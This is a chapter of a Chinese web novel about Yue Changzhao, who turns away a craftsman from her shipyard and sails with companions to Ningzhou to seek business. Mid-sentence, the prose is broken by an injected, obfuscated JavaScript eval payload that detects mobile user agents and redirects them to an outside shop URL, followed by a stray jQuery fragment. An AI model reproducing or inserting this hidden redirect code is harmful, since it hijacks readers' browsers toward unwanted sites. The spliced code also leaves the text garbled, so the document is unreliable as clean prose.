门口的争吵声持续传到屋里,一众船匠也好奇得很,纷纷走出门来。等见到陈伯后,简直又惊又喜。
可再一看旁边的越姑娘,分明满脸都是不高兴。众人也不想触霉头,只能忍住声看着。
陈伯听她这样说话,先是一愣,问道:“免费做活计也不答应?你这丫头比我还古怪!”
越长照不想和他多说,此人性子捉摸不定,近日见船厂有新奇玩具,便过来凑热闹。明日若再见到别的,难道也要去?她的船厂可不是来去自如的!
“罗前,把人赶走。船厂重地,岂是谁都能进的?”越长照再次说道。
话说到这个份上,罗前也不好再劝,他无奈道:“陈伯,您就别为难我了,咱还是走远些说吧!”
陈伯见她铁了心不搭理自己,倒也没再强求,转头就随罗前离开船厂。
其余船匠相互对视一眼,纷纷觉得可惜。有人忍不住开口劝道:“越姑娘,陈伯虽脾气怪了些,可手艺却没话说!船厂若是有他在,往后不论是造船还是其他,必定顺利许多!你要不……再考虑考虑?”
越长照道:“多谢阿叔提醒,不过此事我自有考量。”
众人见她心里有主意,便也不再说什么,转头又回去做活计了。
越长照看着两人走远的身影,忍不住琢磨起来。往来江南须得月余时间,若回来后,陈伯仍旧想进船厂做活计的话,到时候再做打算便是。
*
去江南的行程里,越长照准备拉上梁勉春。距离梁勉春出门已有七日,按照之前的规律,她约莫三日内能回来,时间刚刚好。
不过,让她没想到是,另有两人也找上她,说要一同出门。
越长照瞧着郭宝盈,有些不解,“郭娘子,若是你同我一起去,元宝怎么办?”
郭宝盈道:“我已经和水兰姐说了,元宝乖得很,每日只需给他一口饭吃,便无其他事情。长照,你就带上我吧!”
越长照有些哭笑不得,“不是吃饭的事,此次路程远,离家时间长,元宝若是想你了怎么办?”
郭宝盈显然已经考虑过这个问题,她抿着嘴,道:“不妨事,哭上两日便好了。”
越长照有些惊讶,她迅速思考起来,可仍旧想不出郭宝盈必须出门的原因,最后只好道:“既然你执意要跟着,那便一起去吧。”
这件事在越长照心里留下疑惑,她想了整整一日,也没想明白。等回到宋家小院后,终于忍不住问道:“姨母,郭娘子执意要去江南,您可知是什么原因?”
李水兰也寻思了一整天。她叹口气,道:“约莫是从前那件事,郭娘子并不是咱们这儿的人。”
“什么?”越长照瞪圆了眼,“那郭娘子是哪里人?”
李水兰慢慢解释,“宝盈五岁的时候,随家里人来到塘口镇。据郭家婶子说,刚见到宝盈的时候,她小小一张脸,冻得几乎没有血色,幸好昏倒前遇到老两口在海边,否则等到第二日,约莫人也没了。”
“郭娘子家里人呢?五岁的孩子怎么自己在海边走?”海云出声问道。
提到郭宝盈的家里人,李水兰嗤笑一声,道:“宝盈醒来之后,郭婶子他们问了同样的话。原是宝盈她娘因病去了,她爹又另娶新妇。一家人说是到南边做生意,在咱们这儿歇脚的时候,却没把宝盈带走!”
“不过宝盈年纪小,根本记不住家住哪里,只知道是在江南那边。老两口心善,带她往北边跑过几趟,可总也找不对地方,后面才歇了心思。又和宝盈商量一番,就给她改了姓,留在家里养着。”
“后来,后来宝盈和郭婶子的儿子成亲生下元宝,日子过得倒也算好。再后来,你应是都知道了。”
“唉,郭娘子竟这样可怜……”海云听完这些,瞬间红了眼。
“难怪她执意要随我去江南一趟……”越长照忍不住想,郭宝盈定是有心结的吧。
李水兰接过话,“可不是!”
她又悄悄看了眼灶房里的宋安顺,小声道:“我执意要在镇上买房,便是想到这些。你姨父这些年对我是好,不过先前咱们也穷,谁也嫌弃不了谁。”
“可眼下日子起来了,人心易变,只有攥在手里的不会变!早早把家里的钱换成别的,往后海云海月有了保障,即使出变故也不怕了。”
越长照震惊了,她没想到李水兰的思想这么超前!
海云也震惊了,赶紧向灶房看去,里面宋安顺正做饭食,对外面的谈论毫无察觉。她惊慌跳动的心才慢慢平缓下来。
*
吃完饭食,越长照慢悠悠往家走,只是一拐弯,又看到熟悉的身影。
程山朝越长照走去,到了跟前,才道:“吃完饭了?”
越长照点点头,问他:“找我有事?”
程山顿了片刻,道:“没事便不能来寻你?”
越长照觉得心里有些慌,她拿出钥匙开了院门,才反击道:“不准你来,你就真不来了?”
程山轻笑一声,才说明来意,“听阿奶说,你要去江南那边?”
越长照拿出茶具,给他递上杯水,道:“是呀,江南富庶,兴许那边能做成买卖呢。”
程山看着她,总觉得她的目的不止于此。不过他也没追问下去,只道:“何时启程?我随你一起去。”
越长照差点被茶水呛到,她瞪住人,问:“你随我过去?阿奶非得再打你一顿不可!”
“这样也行。”程山一本正经道。
越长照觉得他有病。
程山见她脸都气圆了,还瞪着自己。比起平日里的样子,倒多了份稚气。
他这才笑道:“阿奶知道此事,她已经同意了。”
越长照疑惑出声:“真的?你可不能骗我。”
程山认真回她:“真的,不骗你。”
*
三日后,梁勉春果然赶回塘口镇。在外奔波许久,她黑瘦不少,但精神气更足了。
越长照也已经做好准备,一行人登上船便出发了。
渔船沿着针路簿,一路往北驶去。大半年以来,越长照还是第一次离开云安县,她心里有些说不明的情绪。
程山见她静静站着,眼睛却望向海深处,心里莫名有些慌张。
他走到跟前,道:“长照,今日风大了些,先回舱室休息吧。”
越长照的思绪被拉回来,她摇摇头,回道:“坐久了头晕,这样吹着风也挺好的。”
程山也不说话了,只陪她一同站着。
半晌后,越长照看着远处的小岛,忽然问道:“这样的岛上有人住吗?”
“塘口镇附近有许多这样的岛,近些的无人居住,远些的有官兵驻守,再远些的约莫就有海寇了。”
越长照兴奋起来,她忽然想到个好主意,若这岛真是没人住的,那以后岂不是能再赚一笔!
程山看她刚才还情绪低落,转眼眉头又舒展开,忍不住也露出笑意。
郭宝盈才出舱室,就看见两人在笑,她一头雾水地喊:“长照,程山,快来吃饭了!”
海上行船的时候,自然是怎么方便怎么来,生火麻烦,就只吃备好的干粮。一行人摇摇晃晃六七日,终于抵达宁州。
赵大亮兴奋道:“长照,看见没?那可是宁州码头,比咱们镇的大多了!”
越长照朝远处看去,码头前的大片海域挤满船只,正排队等候靠岸。岸口处有官兵看守,挨个检
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17878731|210429||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
查入港的货物。
她又看了眼往来的船只,除去南货北运的,还有不少大型商船,船舱上堆满成箱的番货,简直让人挪不开眼。
此时郭宝盈说话了,“听说宁州这边番人多,全是来做生意的,自然比咱们镇子热闹。”
越长照道:“宁州和广地一样,都有市舶司,是专门管此方面事务的,外邦商人多倒也正常。”
梁勉春有些羡慕,“塘口镇也会有这么多外邦商人吗?我若能和他们一样做生意就好了。”
越长照没再说话,她想,会的,会有这一天的。
前面排队的船只陆续减少,约莫一个时辰后,越长照终于靠岸。
等交完税,查完过所后,一行人穿过码头走上大街,入目而来的繁华简直迷乱了眼。大街两边的铺子敞着门,五花八门的货物有序地摆放在门口,只为吸引往来的人。
各种吆喝不间断传入耳边,其间夹杂着货物琳琳铛铛的声音,有豪爽的顾客大手一挥便直接买下,连价钱也不还。
几人就这样边走边逛,直到走完一整条街,越长照才猛然惊醒,坏了,她听不懂宁州方言!
一行人面面相觑好一会儿,郭宝盈开口道:“我试试吧,不过不晓得能不能行。”
赵大亮呼一口气,道:“有劳郭娘子了。”
梁勉春悄悄道:“没想到郭娘子竟听得懂宁州话,做买卖都方便许多!”
越长照笑道:“勉春姐,跟着商船才跑多久,你现在满脑子都是做生意的事了。”
梁勉春被打趣一句,不好意思地笑了。
郭宝盈本就是宁州人,不过离家太久,已经不会说家乡话,听也只能听个大概。好在几人的需求也简单,只需吃饭和住店就行,加上越长照和程山都会说官话,沟通倒还算顺畅。
收拾妥当后,一行人赶紧先填饱肚子,等精神气都恢复过来后,越长照才带着几人又出了门。
宁州大街的鱼市显然比塘口镇要热闹,规整许多。这里摊位划分利落,渔贩们都老实待在固定的位置上,只有人经过时,吆喝几句。
梁勉春疑惑道:“长照,咱们来鱼市做什么?”
越长照回她:“打听情况。”
说完这话,她便走到一处摊子跟前,直接开口:“阿叔,您这渔获是从哪里捕的呀?”
卖渔获的人听不懂官话,郭宝盈又边说边比划,他才弄明白。
“我们这渔获都是在东沙湾捕的,你瞧瞧,新鲜得很!”
越长照弄明白了,又问:“东沙湾人多吗?除了东沙湾可还有别的地方能捕鱼?若是捕到鱼,除了此处还能在什么地方买卖?”
一连串的问题让郭宝盈愈发不解,但她依旧继续翻译。
谁知鱼贩听完后,立马绷直身体,瞪眼道:“你这娃娃问这些作甚?可是来闹事的?”
越长照从怀里掏出一串铜板递过去,道:“阿叔,我想雇您跟我们一道出海捕鱼,不知您可方便?”
*
越长照和鱼贩约好明日出海,回去的路上,梁勉春问道:“咱们来宁州为何还要出海?不是要做生意?”
看着两人不解的眼神,越长照道:“要做生意,也得先有生意能做呀!明日带着咱们的渔具和船,到海上好好露一手,还怕没有生意?”
郭宝盈这才明白过来,她激动道:“这倒是好法子,宁州商人多,若有人看中咱们的东西,生意可不就来了!”
梁勉春也明白过来,宁州不是闽地,长照船厂的名声在这里几乎不起作用,那便只能拿出本事,吸引人来才行!
想明白这些,她不由得暗暗佩服起来。宁州富裕,若是这法子成了,必能接到大单子!